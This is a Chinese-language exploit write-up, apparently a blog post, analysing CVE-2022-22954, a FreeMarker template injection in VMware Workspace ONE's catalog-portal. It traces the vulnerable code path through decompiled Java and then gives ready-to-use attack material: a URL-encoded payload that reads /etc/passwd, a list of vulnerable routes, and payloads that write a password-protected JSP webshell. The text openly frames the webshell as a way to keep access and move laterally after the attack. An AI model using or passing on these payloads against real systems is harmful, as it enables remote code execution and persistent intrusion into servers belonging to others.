CVE-2022-22954
CVE-2022-22954⌗
代码分析⌗
http://file.xipudata.com/?dir=/2_software/Vmware/Horizon8
下载好ova,使用vmware安装搭建,导入时添加下域名。
根据官方提供的临时修复脚本可以知道漏洞存在于
/opt/vmware/horizon/workspace/webapps/catalog-portal/WEB-INF/lib/endusercatalog-ui-1.0-SNAPSHOT-classes.jar
修复脚本中还提到了这个文件
查看该文件后发现存在eval,这是java freemarker的写法,用来把字符串当作ftl代码,所以我们只需要控制errorObj即可实现代码执行
所以我们知道漏洞来源于customError,我们需要找到可以到达customError的路由,并且可以控制errorObj
在UiErrorController.class中可以找到handleGenericError,可以传递errorObj,最后return到customError
private String handleGenericError(final HttpServletRequest request, final HttpServletResponse response, final Map<String, Object> model, final boolean isAWJade, final boolean garnetAndAbove, final String excpClass, final int errorCode, final String errorMessage) {
final String localizedMessageHeader = this.messages.getLocalizedErrorMessage("errorPage.errorHeading", request.getLocale(), (Object[])null);
final String localizedMessage = this.messages.getLocalizedErrorMessage(this.getLocalizedMessageKey(excpClass), request.getLocale(), (Object[])null);
if (errorCode != -1) {
response.setStatus(errorCode);
}
model.put("errorObj", errorMessage);
model.put("messageHeader", localizedMessageHeader);
model.put("genericErrorMsg", localizedMessage);
model.put("contextPath", request.getContextPath());
if (isAWJade) {
WebUtils.markCookiesForDeletion(request, response, new String[] { "USER_CATALOG_CONTEXT" });
WebUtils.markCookiesForDeletionWithPath(request, response, "/catalog-portal", new String[] { "EUC_XSRF_TOKEN" });
model.put("logoutPath", retrieveServerInitiatedLogoutPath(garnetAndAbove).getName());
}
else {
final StringBuilder logoutUrl = new StringBuilder(request.getContextPath()).append("/ui").append("/logout");
String queryStr = request.getQueryString();
if (StringUtils.isNotBlank((CharSequence)queryStr)) {
queryStr = UrlUtils.encodeQuery(UrlUtils.decode(queryStr));
logoutUrl.append('?').append(queryStr);
}
model.put("logoutPath", logoutUrl.toString());
}
return "customError";
}
所以我们继续往上找到getErrorPage
和handleUnauthorizedError
,调用了handleGenericError
getErrorPage⌗
private String getErrorPage(final HttpServletRequest request, final HttpServletResponse response, final Map<String, Object> model, final int errorCode, final String errorMessage, final String exClass) {
final Exception exp = (request.getAttribute("javax.servlet.error.exception") instanceof Exception) ? ((Exception)request.getAttribute("javax.servlet.error.exception")) : null;
final String userAgent = UserAgentResolver.resolveUserAgent(request.getHeader("User-Agent"), WebUtils.getCookie(request, "AWJADE"));
this.logFor(errorCode, "Error reported is {} {} for forward {}", errorCode, errorMessage, request.getAttribute("javax.servlet.forward.request_uri"), exp);
UiErrorController.LOGGER.info("The client user agent is : {}, the host is : {}, the referer is {}", new Object[] { userAgent, request.getHeader("Host"), request.getHeader("Referer") });
final boolean isAWJade = UserAgentResolver.isNativeApp(userAgent);
final boolean garnetAndAbove = UserAgentResolver.isGarnetAndAbove(userAgent);
final String errorPage = Optional.of(errorCode).filter(this::isErrorTypeUnauthorized).map(errCd -> this.handleUnauthorizedError(request, response, model, isAWJade, garnetAndAbove, exClass, errCd, errorMessage)).orElseGet(() -> this.handleGenericError(request, response, model, isAWJade, garnetAndAbove, exClass, errorCode, errorMessage));
return StringUtils.hasText(errorPage) ? errorPage : null;
}
handleUnauthorizedError⌗
private String handleUnauthorizedError(final HttpServletRequest request, final HttpServletResponse response, final Map<String, Object> model, final boolean isAWJade, final boolean garnetAndAbove, final String excpClass, final int errorCode, final String errorMessage) {
final String uiRequestId = Objects.nonNull(request.getAttribute("UI_REQUEST")) ? ((UiRequest)request.getAttribute("UI_REQUEST")).getRequestId() : null;
if (isAWJade) {
WebUtils.markCookiesForDeletion(request, response, new String[] { "USER_CATALOG_CONTEXT" });
WebUtils.markCookiesForDeletionWithPath(request, response, "/catalog-portal", new String[] { "EUC_XSRF_TOKEN" });
return Optional.ofNullable(excpClass).filter(this::isSpecificUnauthError).map(excepClass -> {
this.sendRedirect(response, retrieveServerInitiatedLogoutPath(garnetAndAbove).getName(), uiRequestId);
return "";
}).orElseGet(() -> {
this.sendRedirect(response, retrieveInvalidAccessTokenLogoutPath(garnetAndAbove).getName(), uiRequestId);
return "";
});
}
final String uiRequestId2;
return Optional.ofNullable(excpClass).filter(this::isSpecificUnauthError).map(excepClass -> this.handleGenericError(request, response, model, isAWJade, garnetAndAbove, excpClass, errorCode, errorMessage)).orElseGet(() -> {
WebUtils.markCookiesForDeletion(request, response, new String[] { "USER_CATALOG_CONTEXT", "HZN" });
WebUtils.markCookiesForDeletionWithPath(request, response, "/catalog-portal", new String[] { "EUC_XSRF_TOKEN" });
if (this.isMdmOnlyUnauthorizedAccessError(request, excpClass)) {
return this.handleGenericError(request, response, model, isAWJade, garnetAndAbove, excpClass, errorCode, errorMessage);
}
else {
this.sendRedirect(response, UrlUtils.buildUrlWithBaseAndPath(request, "/ui", this.urlScheme, this.urlPort, true), uiRequestId2);
return "";
}
});
}
我们先看第一个getErrorPage,有两条路由会到达getErrorPage,但是直接访问路由无法控制errorObj参数
@RequestMapping({ "/ui/view/error" })
@ApiOperation(value = "sendError", notes = "")
public String sendError(final HttpServletRequest request, final HttpServletResponse response, final Map<String, Object> model) {
final int errorCode = (int)request.getAttribute("javax.servlet.error.status_code");
final String errorMessage = (String)request.getAttribute("javax.servlet.error.message");
this.logFor(errorCode, "Error status code: {}, error message: {}", errorCode, errorMessage);
final String exClass = (request.getAttribute("javax.servlet.error.exception_type") instanceof Class) ? ((Class)request.getAttribute("javax.servlet.error.exception_type")).getCanonicalName() : "";
return this.getErrorPage(request, response, model, errorCode, errorMessage, exClass);
}
@RequestMapping({ "/error" })
@ApiOperation(value = "sendUnhandledError", notes = "")
public String sendUnhandledError(final HttpServletRequest request, final HttpServletResponse response, final Map<String, Object> model) {
final int errorCode = (int)((request.getAttribute("javax.servlet.error.status_code") == null) ? -1 : request.getAttribute("javax.servlet.error.status_code"));
final String errorMessage = (String)((request.getAttribute("javax.servlet.error.message") == null) ? "" : request.getAttribute("javax.servlet.error.message"));
final String exClass = (request.getAttribute("javax.servlet.error.exception_type") instanceof Class) ? ((Class)request.getAttribute("javax.servlet.error.exception_type")).getCanonicalName() : "";
final String errorObj = "{\"code\":\"" + errorCode + "\", \"message\":\"" + errorMessage + "\"}";
return this.getErrorPage(request, response, model, errorCode, errorObj, exClass);
}
所以还需要找到一个路由,可以控制errorObj参数,最终找到resolveException,可以控制且能够访问到/ui/view/error路由 这时候我们只需要找到触发异常的方法,控制errorObj即可,继续往上看,找到ExceptionHandler,这是一个处理异常的类,只要当程序抛出Exception异常就会进入handleAnyGenericException,最终到达/ui/view/error
@ExceptionHandler({ Exception.class })
public String handleAnyGenericException(final HttpServletRequest request, final Exception ex) {
final UiRequest uiRequest = this.getUiRequest(request);
final ResponseStatus responseStatus = (ResponseStatus)AnnotationUtils.findAnnotation((Class)ex.getClass(), (Class)ResponseStatus.class);
String errorResponse;
if (responseStatus == null) {
errorResponse = this.resolveException(request, ex, uiRequest, "server.unexpected.error", HttpStatus.INTERNAL_SERVER_ERROR.value(), uiRequest.getRequestId());
}
else {
final MsgKey msgKey = (MsgKey)AnnotationUtils.findAnnotation((Class)ex.getClass(), (Class)MsgKey.class);
if (msgKey == null || !(ex instanceof LocalizationParamValueException)) {
errorResponse = this.resolveException(request, ex, uiRequest, "server.unmapped.message", responseStatus.value().value(), uiRequest.getRequestId());
}
else {
errorResponse = this.resolveException(request, ex, uiRequest, msgKey.value(), responseStatus.value().value(), ((LocalizationParamValueException)ex).getArgs());
}
}
return errorResponse;
}
查看下如何控制javax.servlet.error.message
,是通过handleAnyGenericException
中的(LocalizationParamValueException)ex).getArgs()
这是一个自身args属性,只需要控制抛出异常的参数,就可以把freemarker的payload传入errorObj
继续查看在com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor
的preHandle中authContextBuilder的build方法会抛出异常
其中isValidRequest代码如下,只需要让deviceId和deviceType其中一个为空一个不为空,即可抛出异常。
private boolean isValidRequest() {
return this.isBrowserRequest() || this.isNativeAppRequestWithAuthToken();
}
public boolean isBrowserRequest() {
return this.deviceId == null && this.deviceType == null;
}
public boolean isBrowserRequestWithAuthToken() {
return this.isBrowserRequest() && this.hasAuthorizationToken();
}
public boolean isNativeAppRequestWithAuthToken() {
return this.isRequestWithDeviceParams() && this.hasAuthorizationToken();
}
private boolean isRequestWithDeviceParams() {
return this.deviceId != null && this.deviceType != null;
}
private boolean hasAuthorizationToken() {
return this.authorizationToken != null;
}
所以只需要传入deviceUdid或deviceType的任意一个参数,然后使用freemarker的可执行代码的恶意类即可。
攻击方式⌗
其他路由,也可以触发该漏洞
/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7
GET /catalog-portal/ui?deviceType=
GET /catalog-portal/hub-ui?deviceType=
GET /catalog-portal/hub-ui/byob?deviceType=
GET /catalog-portal/ui/oauth/verify?deviceType=
GET /catalog-portal/ui/oauth/verify?deviceType=
可以命令执行了但是我们攻击时为了方便后续维权和横向,肯定要上webshell,通过如下语句即可写入内容。
文件落地webshell⌗
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileOutputStream","/opt/vmware/horizon/workspace/webapps/catalog-portal/shell.jsp").write("freemarker.template.utility.ObjectConstructor"?new()("java.lang.String","test").getBytes())}
写入webshell payload,记得url编码下
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileOutputStream","/opt/vmware/horizon/workspace/webapps/catalog-portal/shell.jsp").write("freemarker.template.utility.ObjectConstructor"?new()("java.lang.String","<% if(\"023\".equals(request.getParameter(\"pwd\"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(\"<pre>\"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(\"</pre>\"); } %>").getBytes())}